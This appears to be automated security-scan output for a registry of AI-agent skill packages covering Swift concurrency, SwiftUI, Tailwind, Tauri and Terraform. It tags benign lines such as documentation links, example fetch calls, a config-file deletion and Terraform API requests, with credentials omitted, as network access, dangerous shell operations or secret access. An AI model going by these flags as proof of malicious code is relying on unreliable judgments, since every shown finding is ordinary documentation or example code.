func background() async { let articles = viewContext.fetch(request) // ❌ Not on main thread - Network accessline 530
let articles = viewContext.fetch(request) // ❌ Not on main thread - Network accessline 557
For Core Data best practices, migration strategies, and advanced patterns: - [Core Data Best Practices](https://github.com/avanderlee/CoreDataBestPractices) - Network accessline 558
- [Core Data Best Practices](https://github.com/avanderlee/CoreDataBestPractices) - Network accessline 559
- [Swift Concurrency Course](https://www.swiftconcurrencycourse.com)
packages/autoskills/skills-registry/swift-concurrency/references/linting.md
packages/autoskills/skills-registry/swift-concurrency/references/memory-management.md
- Network accessline 43
> **Course Deep Dive**: This topic is covered in detail in [Lesson 8.1: Overview of memory management in Swift Concurrency](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference) - Network accessline 122
> **Course Deep Dive**: This topic is covered in detail in [Lesson 8.2: Preventing retain cycles when using Tasks](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference) - Network accessline 568
For migration strategies, real-world examples, and advanced memory patterns, see [Swift Concurrency Course](https://www.swiftconcurrencycourse.com).
packages/autoskills/skills-registry/swift-concurrency/references/migration.md
- Network accessline 38
> **Course Deep Dive**: This topic is covered in detail in [Lesson 12.2: The impact of Swift 6 on Swift Concurrency](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference) - Network accessline 67
> **Course Deep Dive**: This topic is covered in detail in [Lesson 12.1: Challenges in migrating to Swift Concurrency](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference) - Network accessline 143
> **Course Deep Dive**: This topic is covered in detail in [Lesson 12.3: The six migration habits for a successful migration](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference) - Network accessline 269
> **Course Deep Dive**: This topic is covered in detail in [Lesson 12.5: The Approachable Concurrency build setting (Updated for Swift 6.2)](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson - Network accessline 304
> **Course Deep Dive**: This topic is covered in detail in [Lesson 12.4: Steps to migrate existing code to Swift 6 and Strict Concurrency Checking](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign - Network accessline 354
> **Course Deep Dive**: This topic is covered in detail in [Lesson 12.6: Migration tooling for upcoming Swift features](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference) - Network accessline 356
**Additional resource**: [Migration Tooling Video](https://youtu.be/FK9XFxSWZPg?si=2z_ybn1t1YCJow5k) - Network accessline 413
> **Course Deep Dive**: This topic is covered in detail in [Lesson 12.7: Techniques for rewriting closures to async/await syntax](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference) - Network accessline 458
> **Course Deep Dive**: This topic is covered in detail in [Lesson 12.8: How and when to use @preconcurrency](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference) - Network accessline 480
- Use `@Observable` macro for SwiftUI - Use `AsyncStream` for custom observation - Consider [AsyncExtensions](https://github.com/sideeffect-io/AsyncExtensions) package - Network accessline 482
- Consider [AsyncExtensions](https://github.com/sideeffect-io/AsyncExtensions) package - Network accessline 554
**For complex operators**: Check [Swift Async Algorithms](https://github.com/apple/swift-async-algorithms) package. - Network accessline 601
> **Course Deep Dive**: This topic is covered in detail in [Lesson 12.9: Migrating away from Functional Reactive Programming like RxSwift or Combine](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campai - Network accessline 1037
> **Course Deep Dive**: This topic is covered in detail in [Lesson 12.10: Migrating to concurrency-safe notifications](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference) - Network accessline 1075
> **Course Deep Dive**: This topic is covered in detail in [Lesson 12.11: Frequently Asked Questions (FAQ) around Swift 6 Migrations](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-refere - Network accessline 1100
**Additional resources**: - [Approachable Concurrency Video](https://youtu.be/y_Qc8cT-O_g?si=y4C1XQDGtyIOLW81) - Network accessline 1101
- [Approachable Concurrency Video](https://youtu.be/y_Qc8cT-O_g?si=y4C1XQDGtyIOLW81) - Network accessline 1102
- [Migration Tooling Video](https://youtu.be/FK9XFxSWZPg?si=2z_ybn1t1YCJow5k) - Network accessline 1103
- [Swift Concurrency Course](https://www.swiftconcurrencycourse.com) for in-depth migration strategies
packages/autoskills/skills-registry/swift-concurrency/references/observation.md
- Network accessline 178
Swift 6.2 added [`Observations`](https://developer.apple.com/documentation/observation/observations), an `AsyncSequence` that streams transactional updates to any `@Observable` properties read inside its closure. This is the modern, framewo - Network accessline 417
For in-depth coverage of Swift Concurrency, see [Swift Concurrency Course](https://www.swiftconcurrencycourse.com).
packages/autoskills/skills-registry/swift-concurrency/references/performance.md
- Network accessline 93
> **Course Deep Dive**: This topic is covered in detail in [Lesson 10.1: Using Xcode Instruments to find performance bottlenecks](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference) - Network accessline 260
> **Course Deep Dive**: This topic is covered in detail in [Lesson 10.2: Reducing suspension points by managing isolation effectively](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-refer - Network accessline 398
> **Course Deep Dive**: This topic is covered in detail in [Lesson 10.3: Using Xcode Instruments to detect and remove suspension points](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-ref - Network accessline 461
> **Course Deep Dive**: This topic is covered in detail in [Lesson 10.4: How to choose between serialized, asynchronous, and parallel execution](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=le - Network accessline 659
For real-world optimization examples, profiling techniques, and advanced performance patterns, see [Swift Concurrency Course](https://www.swiftconcurrencycourse.com).
packages/autoskills/skills-registry/swift-concurrency/references/sendable.md
- Network accessline 35
> **Course Deep Dive**: This topic is covered in detail in [Lesson 4.1: Explaining the concept of Sendable in Swift](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference) - Network accessline 123
> **Course Deep Dive**: This topic is covered in detail in [Lesson 4.2: Understanding Data Races vs. Race Conditions: Key Differences Explained](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=le - Network accessline 175
> **Course Deep Dive**: This topic is covered in detail in [Lesson 4.3: Conforming your code to the Sendable protocol](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference) - Network accessline 187
> **Course Deep Dive**: This topic is covered in detail in [Lesson 4.4: Sendable and Value Types](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference) - Network accessline 250
> **Course Deep Dive**: This topic is covered in detail in [Lesson 4.5: Sendable and Reference Types](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference) - Network accessline 293
> **Course Deep Dive**: This topic is covered in detail in [Lesson 4.6: Using @Sendable with closures](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference) - Network accessline 358
> **Course Deep Dive**: This topic is covered in detail in [Lesson 4.7: Using @unchecked Sendable](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference) - Network accessline 430
> **Course Deep Dive**: This topic is covered in detail in [Lesson 4.8: Understanding region-based isolation and the sending keyword](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-refere - Network accessline 477
> **Course Deep Dive**: This topic is covered in detail in [Lesson 4.9: Concurrency-safe global variables](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference) - Network accessline 525
> **Course Deep Dive**: This topic is covered in detail in [Lesson 4.10: Combining Sendable with custom Locks](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference) - Network accessline 597
For migration strategies, real-world examples, and actor patterns, see [Swift Concurrency Course](https://www.swiftconcurrencycourse.com).
packages/autoskills/skills-registry/swift-concurrency/references/tasks.md
- Network accessline 84
> **Course Deep Dive**: This topic is covered in detail in [Lesson 3.1: Introduction to tasks in Swift Concurrency](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference) - Network accessline 136
> **Course Deep Dive**: This topic is covered in detail in [Lesson 3.2: Task cancellation](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference) - Network accessline 176
> **Course Deep Dive**: This topic is covered in detail in [Lesson 3.3: Error handling in Tasks](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference) - Network accessline 211
> **Course Deep Dive**: This topic is covered in detail in [Lesson 3.12: Running tasks in SwiftUI](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference) - Network accessline 274
> **Course Deep Dive**: This topic is covered in detail in [Lesson 3.5: Task Groups](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference) - Network accessline 279
try await withThrowingTaskGroup(of: Data.self) { group in for id in ids { group.addTask { try await fetch(id) } - Network accessline 280
for id in ids { group.addTask { try await fetch(id) } } - Network accessline 281
group.addTask { try await fetch(id) } - Network accessline 373
> **Course Deep Dive**: This topic is covered in detail in [Lesson 3.6: Discarding Task Groups](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference) - Network accessline 382
// async let async let data1 = fetch(1) - Network accessline 383
async let data1 = fetch(1) - Network accessline 384
async let data2 = fetch(2) - Network accessline 387
// Task groups await withTaskGroup(of: Data.self) { group in group.addTask { await fetch(1) } - Network accessline 388
await withTaskGroup(of: Data.self) { group in group.addTask { await fetch(1) } group.addTask { await fetch(2) } - Network accessline 389
group.addTask { await fetch(1) } - Network accessline 390
group.addTask { await fetch(2) } - Network accessline 394
> **Course Deep Dive**: This topic is covered in detail in [Lesson 3.7: The difference between structured and unstructured tasks](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference) - Network accessline 434
> **Course Deep Dive**: This topic is covered in detail in [Lesson 3.4: Detached Tasks](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference) - Network accessline 484
> **Course Deep Dive**: This topic is covered in detail in [Lesson 3.8: Managing Task priorities](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference) - Network accessline 541
> **Course Deep Dive**: This topic is covered in detail in [Lesson 3.10: Task.yield() vs. Task.sleep()](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference) - Network accessline 602
> **Course Deep Dive**: This topic is covered in detail in [Lesson 3.14: Creating a Task timeout handler using a Task Group (advanced)](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-refe - Network accessline 661
For hands-on examples, advanced patterns, and migration strategies, see [Swift Concurrency Course](https://www.swiftconcurrencycourse.com).
packages/autoskills/skills-registry/swift-concurrency/references/testing.md
- Network accessline 68
> **Course Deep Dive**: This topic is covered in detail in [Lesson 11.2: Testing concurrent code using Swift Testing](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference) - Network accessline 210
let task = Task { try await fetcher.fetch(url) } - Network accessline 236
let task = Task { try await fetcher.fetch(url) } - Network accessline 248
**Add package**: `https://github.com/pointfreeco/swift-concurrency-extras.git` - Network accessline 250
> **Course Deep Dive**: This topic is covered in detail in [Lesson 11.3: Using Swift Concurrency Extras by Point-Free](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference) - Network accessline 320
> **Course Deep Dive**: This topic is covered in detail in [Lesson 11.1: Testing concurrent code using XCTest](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference) - Network accessline 588
For advanced testing patterns, real-world examples, and migration strategies: - [Swift Testing Documentation](https://developer.apple.com/documentation/testing) - Network accessline 589
- [Swift Testing Documentation](https://developer.apple.com/documentation/testing) - Network accessline 590
- [Swift Concurrency Extras](https://github.com/pointfreeco/swift-concurrency-extras) - Network accessline 591
- [Swift Concurrency Course](https://www.swiftconcurrencycourse.com)
packages/autoskills/skills-registry/swift-concurrency/references/threading.md
- Network accessline 37
> **Course Deep Dive**: This topic is covered in detail in [Lesson 7.1: How Threads relate to Tasks](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference) - Network accessline 124
> **Course Deep Dive**: This topic is covered in detail in [Lesson 7.2: Getting rid of the "Threading Mindset"](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference) - Network accessline 193
> **Course Deep Dive**: This topic is covered in detail in [Lesson 7.3: Understanding Task suspension points](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference) - Network accessline 334
> **Course Deep Dive**: This topic is covered in detail in [Lesson 7.4: Dispatching to different threads using nonisolated(nonsending) and @concurrent (Updated for Swift 6.2)](https://www.swiftconcurrencycourse.com?utm_source=github&utm_med - Network accessline 380
> **Course Deep Dive**: This topic is covered in detail in [Lesson 7.5: Controlling the default isolation domain (Updated for Swift 6.2)](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-re - Network accessline 540
For migration strategies, real-world examples, and advanced threading patterns, see [Swift Concurrency Course](https://www.swiftconcurrencycourse.com).
packages/autoskills/skills-registry/swift-testing-expert/references/expectations.md
packages/autoskills/skills-registry/swift-testing-expert/references/traits-and-tags.md
- Network accessline 23
@Test(.disabled("Flaky on CI while investigating issue"), .bug("https://example.com/issues/12"))
packages/autoskills/skills-registry/swiftui-expert-skill/assets/logo.svg
- Network accessline 1
<?xml version="1.0" encoding="UTF-8"?> <svg width="1024px" height="1024px" viewBox="0 0 1024 1024" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> - Network accessline 2
<svg width="1024px" height="1024px" viewBox="0 0 1024 1024" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
packages/autoskills/skills-registry/swiftui-expert-skill/references/charts-accessibility.md
- Network accessline 113
- [Hello Swift Charts](https://developer.apple.com/videos/play/wwdc2022/10136/) (WWDC 2022) — introduction to the framework - Network accessline 114
- [Swift Charts: Raise the bar](https://developer.apple.com/videos/play/wwdc2022/10137/) (WWDC 2022) — marks, composition, customization - Network accessline 115
- [Design an effective chart](https://developer.apple.com/videos/play/wwdc2022/110340/) (WWDC 2022) — chart design principles - Network accessline 116
- [Design app experiences with charts](https://developer.apple.com/videos/play/wwdc2022/110342/) (WWDC 2022) — integrating charts into app UX - Network accessline 117
- [Explore pie charts and interactivity in Swift Charts](https://developer.apple.com/videos/play/wwdc2023/10037/) (WWDC 2023) — SectorMark, selection, scrolling - Network accessline 118
- [Swift Charts: Vectorized and function plots](https://developer.apple.com/videos/play/wwdc2024/10155/) (WWDC 2024) — LinePlot, AreaPlot, function plotting - Network accessline 119
- [Bring Swift Charts to the third dimension](https://developer.apple.com/videos/play/wwdc2025/313/) (WWDC 2025) — Chart3D, SurfacePlot, 3D marks
packages/autoskills/skills-registry/swiftui-expert-skill/references/iphone-duo.md
- Network accessline 69
Before claiming a fold or landscape layout works, check whether your environment can pose the iPhone Duo simulator. `simctl` cannot fold or rotate it, but the [RocketSim](https://www.rocketsim.app) CLI can: `rocketsim duo pose closed|book|o - Network accessline 75
- [Get ready for iPhone Duo](https://developer.apple.com/iphone-duo/) - Network accessline 76
- [Preparing your app for iPhone Duo](https://developer.apple.com/documentation/technologyoverviews/preparing-your-app-for-iphone-duo) - Network accessline 77
- [Designing for iPhone Duo](https://developer.apple.com/design/human-interface-guidelines/designing-for-iphone-duo) - Network accessline 78
- Apple Tech Talks 111461–111466, especially [Prepare your app](https://developer.apple.com/videos/play/tech-talks/111461/), [Raise the bar](https://developer.apple.com/videos/play/tech-talks/111462/), [Strike a pose](https://developer.appl
packages/autoskills/skills-registry/swiftui-expert-skill/references/latest-apis.md
packages/autoskills/skills-registry/swiftui-expert-skill/references/layout-best-practices.md
- Network accessline 132
Apple's iPhone Duo guidance says not to just stretch the compact layout: reflow stacked content into two columns when width allows ([HIG](https://developer.apple.com/design/human-interface-guidelines/designing-for-iphone-duo)). For a scroll
packages/autoskills/skills-registry/swiftui-expert-skill/references/styled-text-editing.md
packages/autoskills/skills-registry/swiftui-expert-skill/references/webkit-integration.md
- Network accessline 29
WebView(url: URL(string: "https://www.swift.org")) - Network accessline 46
} .onAppear { _ = page.load(URL(string: "https://www.apple.com")) - Network accessline 47
.onAppear { _ = page.load(URL(string: "https://www.apple.com")) } - Network accessline 48
_ = page.load(URL(string: "https://www.apple.com")) - Network accessline 83
_ = page.load(URLRequest(url: url)) _ = page.load(html: "<h1>Hello</h1>", baseURL: URL(string: "https://example.com")!) - Network accessline 84
_ = page.load(html: "<h1>Hello</h1>", baseURL: URL(string: "https://example.com")!)
packages/autoskills/skills-registry/swiftui-expert-skill/scripts/analyze_trace.py
- Executable scriptline 1
#!/usr/bin/env python3
packages/autoskills/skills-registry/swiftui-expert-skill/scripts/instruments_parser/__init__.py
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/swiftui-expert-skill/scripts/instruments_parser/causes.py
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/swiftui-expert-skill/scripts/instruments_parser/correlate.py
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/swiftui-expert-skill/scripts/instruments_parser/events.py
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/swiftui-expert-skill/scripts/instruments_parser/hangs.py
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/swiftui-expert-skill/scripts/instruments_parser/hitches.py
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/swiftui-expert-skill/scripts/instruments_parser/summary.py
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/swiftui-expert-skill/scripts/instruments_parser/swiftui.py
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/swiftui-expert-skill/scripts/instruments_parser/time_profiler.py
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/swiftui-expert-skill/scripts/instruments_parser/xctrace.py
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/swiftui-expert-skill/scripts/instruments_parser/xml_utils.py
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/swiftui-expert-skill/scripts/record_trace.py
- Executable scriptline 1
#!/usr/bin/env python3
packages/autoskills/skills-registry/tailwind-css-patterns/SKILL.md
packages/autoskills/skills-registry/tailwind-css-patterns/references/animations.md
packages/autoskills/skills-registry/tailwind-v4-shadcn/SKILL.md
- Network accessline 31
**Production-tested**: WordPress Auditor (https://wordpress-auditor.webfonts.workers.dev) - Dangerous shell operationline 143
rm tailwind.config.ts # v4 doesn't use this file - Network accessline 538
- **shadcn/ui Vite Setup**: https://ui.shadcn.com/docs/installation/vite - Network accessline 539
- **shadcn/ui Tailwind v4 Guide**: https://ui.shadcn.com/docs/tailwind-v4 - Network accessline 540
- **shadcn/ui Dark Mode (Vite)**: https://ui.shadcn.com/docs/dark-mode/vite - Network accessline 541
- **Tailwind v4 Docs**: https://tailwindcss.com/docs - Network accessline 542
- **shadcn/ui Theming**: https://ui.shadcn.com/docs/theming - Network accessline 558
This skill is based on the WordPress Auditor project: - **Live**: https://wordpress-auditor.webfonts.workers.dev - Network accessline 559
- **Live**: https://wordpress-auditor.webfonts.workers.dev - Network accessline 572
3. Ensure `components.json` has `"config": ""` 4. Delete `tailwind.config.ts` if it exists 5. Check official docs: https://ui.shadcn.com/docs/tailwind-v4 - Network accessline 574
5. Check official docs: https://ui.shadcn.com/docs/tailwind-v4
packages/autoskills/skills-registry/tailwind-v4-shadcn/references/advanced-usage.md
packages/autoskills/skills-registry/tailwind-v4-shadcn/references/dark-mode.md
packages/autoskills/skills-registry/tailwind-v4-shadcn/references/plugins-reference.md
packages/autoskills/skills-registry/tailwind-v4-shadcn/templates/components.json
packages/autoskills/skills-registry/tailwind-v4-shadcn/templates/index.css
packages/autoskills/skills-registry/tailwind-v4-shadcn/templates/theme-provider.tsx
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/tailwind-v4-shadcn/templates/utils.ts
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/tailwind-v4-shadcn/templates/vite.config.ts
packages/autoskills/skills-registry/tauri-v2/README.md
- Network accessline 9
| **Last Updated** | 2026-04-02 | | **Confidence** | 4/5 | | **Production Tested** | https://v2.tauri.app/ | - Network accessline 11
| **Production Tested** | https://v2.tauri.app/ | - Network accessline 90
> [!NOTE] > This skill targets **Tauri v2+**. Feature availability may vary across minor versions. When exact version timing matters, check the [official Tauri changelog](https://github.com/tauri-apps/tauri/blob/dev/crates/tauri/CHANGELOG.m - Network accessline 91
> This skill targets **Tauri v2+**. Feature availability may vary across minor versions. When exact version timing matters, check the [official Tauri changelog](https://github.com/tauri-apps/tauri/blob/dev/crates/tauri/CHANGELOG.md) and rel - Network accessline 170
*\*Last verified: 2026-04-02. Always check [official changelog](https://github.com/tauri-apps/tauri/blob/dev/crates/tauri/CHANGELOG.md) for feature timing.* - Network accessline 174
- [Tauri v2+ Documentation](https://v2.tauri.app/) - Network accessline 175
- [Commands Reference](https://v2.tauri.app/develop/calling-rust/) - Network accessline 176
- [IPC Concepts](https://v2.tauri.app/concept/inter-process-communication/) - Network accessline 177
- [Capabilities & Permissions](https://v2.tauri.app/security/capabilities/) - Network accessline 178
- [Configuration Reference](https://v2.tauri.app/reference/config/) - Network accessline 179
- [Plugin Directory](https://v2.tauri.app/plugin/)
packages/autoskills/skills-registry/tauri-v2/SKILL.md
- Network accessline 156
"identifier": "com.example.myapp", "build": { "devUrl": "http://localhost:5173", - Network accessline 157
"build": { "devUrl": "http://localhost:5173", "frontendDist": "../dist", - Network accessline 158
"devUrl": "http://localhost:5173", - Network accessline 370
const channel = new Channel<DownloadEvent>(); channel.onmessage = (msg) => console.log(msg.event, msg.data); await invoke('download', { url: 'https://...', onEvent: channel }); - Network accessline 372
await invoke('download', { url: 'https://...', onEvent: channel }); - Network accessline 416
*\*Last verified: 2026-04-02. Always check [official changelog](https://github.com/tauri-apps/tauri/blob/dev/crates/tauri/CHANGELOG.md) for feature timing.* - Network accessline 432
- [Tauri v2+ Documentation](https://v2.tauri.app/) - Network accessline 433
- [Commands Reference](https://v2.tauri.app/develop/calling-rust/) - Network accessline 434
- [Capabilities & Permissions](https://v2.tauri.app/security/capabilities/) - Network accessline 435
- [Configuration Reference](https://v2.tauri.app/reference/config/)
packages/autoskills/skills-registry/tauri-v2/references/README.md
- Network accessline 23
*Last verified: 2026-04-02. Check [official Tauri changelog](https://github.com/tauri-apps/tauri/blob/dev/crates/tauri/CHANGELOG.md) for updates.*
packages/autoskills/skills-registry/tauri-v2/references/capabilities-reference.md
- Network accessline 175
"identifier": "http:default", "allow": [ { "url": "https://api.example.com/*" }, - Network accessline 176
"allow": [ { "url": "https://api.example.com/*" }, { "url": "https://*.myapp.com/*" } - Network accessline 177
{ "url": "https://api.example.com/*" }, - Network accessline 178
{ "url": "https://*.myapp.com/*" } - Network accessline 290
"identifier": "remote-access", "remote": { "urls": ["https://*.myapp.com"] - Network accessline 291
"remote": { "urls": ["https://*.myapp.com"] }, - Network accessline 292
"urls": ["https://*.myapp.com"]
packages/autoskills/skills-registry/tauri-v2/references/ipc-patterns.md
- Network accessline 118
try { const data = await invoke<string>('fetch_data', { url: 'https://api.example.com' }); - Network accessline 119
const data = await invoke<string>('fetch_data', { url: 'https://api.example.com' }); - Network accessline 471
const path = await invoke<string>('download_file', { url: 'https://example.com/file.zip', - Network accessline 472
url: 'https://example.com/file.zip',
packages/autoskills/skills-registry/tauri-v2/references/updater-distribution-reference.md
- Network accessline 22
"updater": { "active": true, "endpoints": ["https://your-server.com/update/{{target}}/{{current_version}}"], - Network accessline 23
"active": true, "endpoints": ["https://your-server.com/update/{{target}}/{{current_version}}"], "pubkey": "BASE64_PUBLIC_KEY_HERE", - Network accessline 24
"endpoints": ["https://your-server.com/update/{{target}}/{{current_version}}"], - Network accessline 61
"darwin-aarch64": { "signature": "<content of .sig file>", "url": "https://your-server/MyApp_1.0.1_aarch64.dmg" - Network accessline 62
"signature": "<content of .sig file>", "url": "https://your-server/MyApp_1.0.1_aarch64.dmg" }, - Network accessline 63
"url": "https://your-server/MyApp_1.0.1_aarch64.dmg" - Network accessline 65
"windows-x86_64": { "signature": "<content of .sig file>", "url": "https://your-server/MyApp_1.0.1_x64-setup.exe" - Network accessline 66
"signature": "<content of .sig file>", "url": "https://your-server/MyApp_1.0.1_x64-setup.exe" } - Network accessline 67
"url": "https://your-server/MyApp_1.0.1_x64-setup.exe" - Network accessline 137
> *Last verified: 2026-04-02. Check the [updater plugin changelog](https://github.com/tauri-apps/plugins-workspace/blob/v2/plugins/updater/CHANGELOG.md) for any updates to the signing/key format.*
packages/autoskills/skills-registry/terraform-stacks/SKILL.md
- Network accessline 52
- Public registry: `terraform-aws-modules/vpc/aws` - Private registry: `app.terraform.io/<org-name>/vpc/aws` - Git: `git::https://github.com/org/repo.git//path?ref=v1.0.0` - Network accessline 54
- Git: `git::https://github.com/org/repo.git//path?ref=v1.0.0` - Network accessline 155
Configure workload identity using `identity_token` blocks and `assume_role_with_web_identity` in provider configuration. For detailed setup instructions for AWS, Azure, and GCP, see: https://developer.hashicorp.com/terraform/cloud-docs/dyna - Network accessline 432
- Use artifacts endpoint to retrieve Stack outputs: `GET /api/v2/stack-deployment-steps/{step-id}/artifacts?name=apply-description` - Diagnostics endpoint requires `stack_deployment_step_id` query parameter - Artifacts endpoint returns HTTP - Network accessline 434
- Artifacts endpoint returns HTTP 307 redirect (use `curl -L`)
packages/autoskills/skills-registry/terraform-stacks/references/api-monitoring.md
- Access to secretsline 38
[Credential-related source omitted] - Access to secretsline 39
[Credential-related source omitted] - Network accessline 64
[Credential-related source omitted] - Network accessline 66
"https://app.terraform.io/api/v2/stack-configurations/{configuration-id}" | jq '.' - Network accessline 103
[Credential-related source omitted] - Network accessline 105
"https://app.terraform.io/api/v2/stack-configurations/{configuration-id}/stack-deployment-group-summaries" | jq '.' - Network accessline 146
[Credential-related source omitted] - Network accessline 148
"https://app.terraform.io/api/v2/stack-deployment-groups/{group-id}/stack-deployment-runs" | jq '.' - Network accessline 184
[Credential-related source omitted] - Network accessline 186
"https://app.terraform.io/api/v2/stack-deployment-runs/{run-id}/stack-deployment-steps" | jq '.' - Network accessline 236
[Credential-related source omitted] - Network accessline 238
"https://app.terraform.io/api/v2/stack-deployment-steps/{step-id}/stack-diagnostics?stack_deployment_step_id={step-id}" | jq '.' - Network accessline 314
[Credential-related source omitted] - Network accessline 315
[Credential-related source omitted] - Network accessline 316
"https://app.terraform.io/api/v2/stack-deployment-steps/{step-id}/stack-diagnostics?stack_deployment_step_id={step-id}" | \ - Network accessline 319
[Credential-related source omitted] - Network accessline 320
[Credential-related source omitted] - Network accessline 321
"https://app.terraform.io/api/v2/stack-deployment-steps/{step-id}/stack-diagnostics?stack_deployment_step_id={step-id}" | \ - Network accessline 331
**Important Notes:** - This endpoint returns HTTP 307 redirect - use `curl -L` to follow redirects automatically - Network accessline 332
- This endpoint returns HTTP 307 redirect - use `curl -L` to follow redirects automatically - Network accessline 340
[Credential-related source omitted] - Network accessline 341
"https://app.terraform.io/api/v2/stack-deployment-steps/{final-apply-step-id}/artifacts?name=apply-description" - Network accessline 352
"change": { "actions": ["no-op"], "before": "http://my-alb-123456789.us-west-2.elb.amazonaws.com", - Network accessline 353
"actions": ["no-op"], "before": "http://my-alb-123456789.us-west-2.elb.amazonaws.com", "after": "http://my-alb-123456789.us-west-2.elb.amazonaws.com", - Network accessline 354
"before": "http://my-alb-123456789.us-west-2.elb.amazonaws.com", - Network accessline 355
"after": "http://my-alb-123456789.us-west-2.elb.amazonaws.com", - Network accessline 380
[Credential-related source omitted] - Network accessline 381
"https://app.terraform.io/api/v2/stack-deployment-steps/{final-apply-step-id}/artifacts?name=apply-description" | \ - Network accessline 388
alb_url: http://my-alb-123456789.us-west-2.elb.amazonaws.com - Network accessline 418
[Credential-related source omitted] - Network accessline 419
[Credential-related source omitted] - Network accessline 420
"https://app.terraform.io/api/v2/stack-deployment-runs/{run-id}" | \ - Network accessline 476
[Credential-related source omitted] - Network accessline 478
BASE_URL="https://app.terraform.io/api/v2" - Network accessline 480
[Credential-related source omitted] - Network accessline 481
[Credential-related source omitted] - Network accessline 482
[Credential-related source omitted] - Network accessline 519
[Credential-related source omitted] - Network accessline 520
[Credential-related source omitted]
packages/autoskills/skills-registry/terraform-stacks/references/component-blocks.md
packages/autoskills/skills-registry/terraform-stacks/references/deployment-blocks.md
- Network accessline 59
**Setup Documentation:** For detailed instructions on configuring OIDC/workload identity for each cloud provider (including IAM roles, trust policies, and federated credentials), see: https://developer.hashicorp.com/terraform/cloud-docs/dyn
packages/autoskills/skills-registry/terraform-stacks/references/troubleshooting.md
- Network accessline 199
[Credential-related source omitted] - Network accessline 200
[Credential-related source omitted] - Network accessline 201
[Credential-related source omitted] - Network accessline 202
